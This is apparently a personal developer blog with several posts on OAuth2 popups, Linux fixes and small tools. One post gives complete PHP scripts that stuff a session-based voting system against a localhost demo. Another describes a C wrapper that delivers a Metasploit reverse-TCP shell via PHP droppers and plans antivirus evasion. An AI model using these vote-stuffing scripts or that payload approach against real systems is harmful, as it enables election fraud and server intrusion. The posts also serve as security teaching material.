OAuth2 tricks

My friend was quite confused about OAuth 2 today (facebook specifically) so I decided to write a couple of tricks for facebook and instagram authentication.

Types of authentication on Instagram/Facebook

There are two types of authentification.

  • With backend callback
  • With frontend callback (facebook specific implementation)

Backend callback

On your redirect url you are getting code GET argument and that code is what you use to get token.

Frontend callback (facebook implementation)

When you trigger authentication from javascript, facebook sdk opens popup for authentication and when popup authentification is finished, window will get closed and you will get token back.

It is all OAuth 2, why is facebook different?

Most modern applications today are modern and it is just not natural experience to have redirect and to reaload page.

A lot of people would like to use same style of authentification for Instagram as for facebook.

What is the actual difference between facebook auth and normal OAuth2?

What facebook did is build one more layer on top of OAuth.

They developed backend that just returns token to your frontend application.

How do I do same thing for instagram?

Before we implement the same thing for instagram, we need to get familiar with couple of concepts.

Opening window

1
var window = window.open(url, windowName, [windowFeatures]);

When you open popup window, you are getting window object back and now, you can reference it.

In window you opened you can reference parent using opener

Cross window communication

Sending data

1
window.postMessage(message, targetOrigin, [transfer]);

In this case, you are sending message which is data object to window if target origin matches with origin of that window.

Transfer is optional object that will be removed from your scope and added to that message. It can also contain stuff that is not data.

Listening for data

1
2
3
4
5
6
7
8
9
window.addEventListener("message", receiveMessage, false);
function receiveMessage(event)
{
if (event.origin !== "http://example.org:8080")
return;
// ...
}

Implementing instragram login

What we now need is backend script that will grab token from code and send it to window that called it.

1
opener.postMessage("put token here", "origin"); // To make sure noone steals token, use origin

In window that needs to login, we are opening instagram login in popup and put link to that backend script in redirect.

1
window.open("https://api.instagram.com/oauth/authorize/?client_id=APPLICATION_ID&redirect_uri="+window.location + "auth/instagram"+"&response_type=code");

Now, we need to wait for token response

1
2
3
4
5
6
window.addEventListener("message", receiveMessage, false);
function receiveMessage(event){
$window.removeEventListener("message", receiveMessage, false);
// Token is in event.data
}

Comment and share

So, I just had a problem starting Atom editor.

I do not run it too often (mostly for search of projects).

For some reason, it did not want to start.

So, I wanted to debbug it.

How to debbug Atom?

When I start it, it just goes to background…

After a little of investigation (cat $(which atom)) I figured out output was piped into ~/.atom/nohup.out

What was the problem?

There was error in output and it said that module inside atom was built with different version of Node.

From my experience, with packaged applications, that most often means it was ran by wrong version of electron.

I also have electron installed globally and that version is default.

Fix?

Well, I now need to make it run with electron installed by package manager…

First I listed files of that package:

1
pacman -Ql electron | grep bin

I got /usr/bin/electron as a response.

Now, I found command that starts atom in cat $(which atom) and just replaced electron with full path of one from package manager.

1
/usr/bin/electro --app=/usr/lib/atom

It worked as expected so, now I just created alias for atom…

1
alias atom="/usr/bin/electron --app=/usr/lib/atom"

And that was it.

Comment and share

If you are anything like me, it happens to you also that you battery just runs out and laptop turns off.

The problem comes if you were just doing kernel update…

That is the problem I had last night…

So, how did I fix it?

Getting shell on that computer.

I grabbed first linux installation I found laying around.

It was Ubuntu Server…

It does not have live system, but, when you start installation, you can just switch to different tty (Ctrl+Alt+F2)..

Getting shell inside that system.

Now, what you need to do is chroot into your installation of arch.

Finding your partitions

All od your partitions should be enumerated in /dev/sd* or in /dev/mapper/* (for lvm).

If you use have encrypted lvm/partition, you need to first run

1
cryptsetup luksOpen /dev/sdX2 name

And, if I remmember well, that partition/lvm will appear in:

1
/dev/mapper/name

Mounting partitions

Now that you found/decrypted/etc. ypur partition, we need to mount them.

We are going to take /mnt as base and mount your system inside.

For example:

1
2
3
mount /dev/sda2 /mnt
mount /dev/sda1 /mnt/boot
mount /dev/sdb1 /mnt/home

Chrooting

If you are using arch live, you probbably have arch-chroot command.

What you should do is just:

1
arch-chroot /mnt

If you are not using arch live, you first need do mount /sys, /dev and /proc

1
2
3
4
5
6
7
cd /mnt
mount --rbind /sys sys/
mount --rbind /dev dev/
mount --rbind /proc proc/
chroot .

Ok, I have shell, what now?

Well, now you just need to install any version of kernel form cache…

1
pacman -U /var/cache/pacman/pkg/linux- # press tab and pick any version

Now, just reboot computer and update system. That should be it.

Comment and share

party-youtube-downloader

Screenshot

Run it localy

1
2
sudo npm install party-youtube-downloader -g
party

Deploy to Heroku

Deploy

Written in

Backend

  • Node.JS
    • Express
    • ytdl-core

Frontend

  • Bootstrap
  • AngularJS
    • Angular-Bootstrap
    • Angular-Animate

Development Enviroment

  • Bower
  • Grunt

How to develop?

1
grunt init; grunt watch

and in another terminal

1
nodemon ./index.js

Authors

Nemanja Nedeljković

Comment and share

I think a lot of people at one point needed screenshot of whole facebook conversation. So, I decided to develop firefox add-on to complete that task.

Idea

First of all, I needed to find a way to approach problem. Since facebook just has too much of JS and CSS for me to read and analyze I decided to use hackerish way of thinking.

Basically, a lot of plugins today support screenshot of entire page, but there is problem with facebook. Chat is inside scrollable frame. So, these plugins can’t take picture of whole chat.

What I did is find “markers” in DOM and by using them I was able to reference proper elements and resize frame so whole chat is visible.

Demo

Plugin download

You can download it on Firefox Add-On market.

Full FB chat

Plugin I used dor screenshot

https://addons.mozilla.org/en-US/firefox/addon/nimbus-screenshot/

Comment and share

Hello,
Today I will be writing about exploiting of vulnerable voting systems using Synchronous and Asynchronous requests.

For purposes of example, we will also write simple vulnerable voting system in PHP.

Voting system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
session_start();
//Make it a little slower to emulate client-server latency, since tests are going to be done on localhost
sleep(1); //Sleep for 1s
//Check if voting link is called
if(isset($_GET["vote"])){
//Check if user is just trying to vote without visiting voting page first
if(isset($_SESSION["voted"])){
//Check if user already voted
if(!$_SESSION["voted"]){
$_SESSION["voted"] = true;
//Do something with vote (store to DB, etc.)
}
else
{
echo "error";
}
}
else
{
echo "error";
}
}
//If user visited for first time, store value for later check
if(!isset($_SESSION["voted"])){
$_SESSION["voted"] = false;
}

So, basically, user will first call index.php and it will create $_SESSION[“voted”] with value false. Then, user will call index.php?vote=[something] and it will, if $_SESSION[“voted”] exists and is false count that as a vote.

Now, what is problem with this script? Well, session id is stored in cookies on browser and if deleted, user will get new $_SESSION which does not contain $_SESSION[“voted”].

How do we exploit this?

Well, we will just send request to get index.php with no cookies and after that, we will send new request to index.php?vote=[something] with cookies we got from previous request.

Synchronous using curl [PHP]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$base_url = "http://localhost:8080/";
//Create dir for cookies, if it does not exist and make sure it is empty
shell_exec("mkdir -p ./cookies ; rm ./cookies/*");
for($i = 0; $i < getenv("VOTES_TO_GIVE"); $i++){
//Send request to index.php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $base_url);
curl_setopt($ch, CURLOPT_COOKIEJAR, "./cookies/$i.txt");
curl_exec($ch);
curl_close($ch);
//Send request to index.php?vote[something]
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $base_url."?vote=[something]");
curl_setopt($ch, CURLOPT_COOKIEFILE, "./cookies/$i.txt");
curl_exec($ch);
curl_close($ch);
}

So, I tested this script and it tool 20,067s for 10 votes.

A little cheating with multi_curl [semi-Asynchronous, PHP]

PHP by itself does not support Asynchronous requests but curl library allow us to send multiple requests at the same time and get response when all of them finish.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
$base_url = "http://localhost:8080/";
shell_exec("mkdir -p ./cookies ; rm ./cookies/*");
$mh = curl_multi_init();
$ch = [];
for($i = 0; $i < getenv("VOTES_TO_GIVE"); $i++){
//Send requests to index.php
$ch[] = curl_init();
curl_setopt($ch[count($ch)-1], CURLOPT_URL, $base_url);
curl_setopt($ch[count($ch)-1], CURLOPT_COOKIEJAR, "./cookies/$i.txt");
curl_multi_add_handle($mh, $ch[count($ch)-1]);
}
$active = null;
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
while ($active && $mrc == CURLM_OK) {
if (curl_multi_select($mh) != -1) {
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
}
for($i = 0; $i < getenv("VOTES_TO_GIVE"); $i++){
curl_multi_remove_handle($mh, $ch[$i]);
}
curl_multi_close($mh);
$mh = curl_multi_init();
$ch = [];
for($i = 0; $i < getenv("VOTES_TO_GIVE"); $i++){
//Send requests to index.php?vote=[something]
$ch[] = curl_init();
curl_setopt($ch[count($ch)-1], CURLOPT_URL, $base_url."?vote=[something]");
curl_setopt($ch[count($ch)-1], CURLOPT_COOKIEFILE, "./cookies/$i.txt");
curl_multi_add_handle($mh, $ch[count($ch)-1]);
}
$active = null;
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
while ($active && $mrc == CURLM_OK) {
if (curl_multi_select($mh) != -1) {
do {
$mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
}
}
for($i = 0; $i < getenv("VOTES_TO_GIVE"); $i++){
curl_multi_remove_handle($mh, $ch[$i]);
}
curl_multi_close($mh);
?>

This one executed in 2,066s.

Note: While writing above code, I respected PHP Documentation, but that code never executed. Since curl_multi_select($mh) always return -1, you will have to remove it.

Comment and share

musictime

musictime is music player intended for artists to share their music with audience, over The Pirate Bay.

Screenshot

Requirements

It is available under:

  • Windows 32-bit
  • Windows 64-bit
  • Linux 64-bit
  • Linux 32-bit
  • OSX (darwin)

Usage

1) Open electron/electron.exe/Electron.app

2) Type search query

3) Press enter

4) Pick artist

5) Enjoy

To do

  • Playlist
  • Save music offline
  • Create exeption handling
  • Marketing

Autors:

  • Nemanja Nedeljković [nemanjan00@gmail.com]

Testing:

  • Sava Đorđević (OS X)

Comment and share

race condition

The problem

Race condition is very common problem which is not mentioned so commonly and that is not so good.

Problem lays in pretty simple fact. Code is not executed in real-time.

Let’s say we have web store. When customer buys something, our code first checks if customer have enough money. After that, if customer have enough money, code checks if that item is currently available in store. If it is, then it takes amount it got while checking amount first time, subtract it with item price and update users credit.

1
2
3
4
5
[QUERY USERS CREDIT]
[CHECK IF CREDIT > COST]
[CHECK IF ITEM IS AVAILABLE]
[SUBTRACT USERS CREDIT FROM STEP 1]
[UPDATE USERS CREDIT]

At first, it all looks cool… But, wait a minute! What if user send two requests one after another?

1
2
3
4
5
6
7
8
9
10
[QUERY USERS CREDIT]
[QUERY USERS CREDIT]
[CHECK IF CREDIT > COST]
[CHECK IF ITEM IS AVAILABLE]
[SUBTRACT USERS CREDIT FROM STEP 1]
[UPDATE USERS CREDIT]
[CHECK IF CREDIT > COST]
[CHECK IF ITEM IS AVAILABLE]
[SUBTRACT USERS CREDIT FROM STEP 1]
[UPDATE USERS CREDIT]

So, user just got two items for price of one. Not what we wanted, right?

Real-life demonstration

Just to prove how big of a problem this is, I created very simple demo.

This is file which is vulnerable:

This is file we are executing to exploit vulnerability:

So, this is how it looks like. Instead of 100, it outputs 58.

1
2
3
4
5
6
7
8
╭─nemanjan00@nemanjan00-laptop ~/race-condition ‹› ‹master›
╰─$ cat counter.txt
0
╭─nemanjan00@nemanjan00-laptop ~/race-condition ‹› ‹master›
╰─$ php index.php
╭─nemanjan00@nemanjan00-laptop ~/race-condition ‹› ‹master*›
╰─$ cat counter.txt
58

So, what is the solution?

If you are working with file, there is very simple solution. It is called flock. Basically, you lock file while you work with it and scripts works with it one by one.

Here is example executed:

1
2
3
4
5
6
7
8
╭─nemanjan00@nemanjan00-laptop ~/race-condition ‹› ‹master*›
╰─$ cat counter.txt
0
╭─nemanjan00@nemanjan00-laptop ~/race-condition ‹› ‹master*›
╰─$ php index_secure.php
╭─nemanjan00@nemanjan00-laptop ~/race-condition ‹› ‹master*›
╰─$ cat counter.txt
100

For database it is pretty similar process so I will not be describing it. If you need to find how to do it in other case, just google it.

Comment and share

webpayload

webpayload is something pentesting community have missed out for some time now. Since I had to do some pentesting on my own servers, I decided to write this “patch”. It is just a C wrapper for a metasploit payload (payload/linux/x64/shell_reverse_tcp) providing Dynamic DNS support.

Basic idea is to create fast and simple reusable payload which can be packed inside C applications, C++ applications, PHP…

There is also simple (for now) example of how it can be delivered inside PHP as binary or source. You can pack binary inside PHP and just execute it on server. Or, for more powerful solution, you can pack source inside PHP and compile it on server side.

This is how C code looks like. As you can see it is being populated with setting before compilation.

On execution, it finds IP using DNS and inject it into Shellcode and then it does stack overflow to execute shellcode.

For now PHP is there just to drop files and to run gcc.

Future idea is to implement more flexible PHP in the area of disabled functions and to implement function which will find dir where PHP can write.

Also I plan to encrypt data to make it more difficult for Antiviruses to detect it.

Comment and share

Since I found myself having to create a lot of github repos I wrote this simple bash function.

So, you just have to add this code to your .bashrc/.zshrc or to run it as bash script.

Also, this script can be installed using bpkg:

1
bpkg install nemanjan00/githubrepo

For GitHub authentication, you need to create ~/.github file with content like this:

To execute script, run:

1
githubrepo nameofrepo

This will create repo with name nameofrepo and add it as origin to current git tree.

Comment and share

Nemanja Nedeljković

I am just crazy guy who wants to be best fullstack developer.


Freelancer


Belgrade, Serbia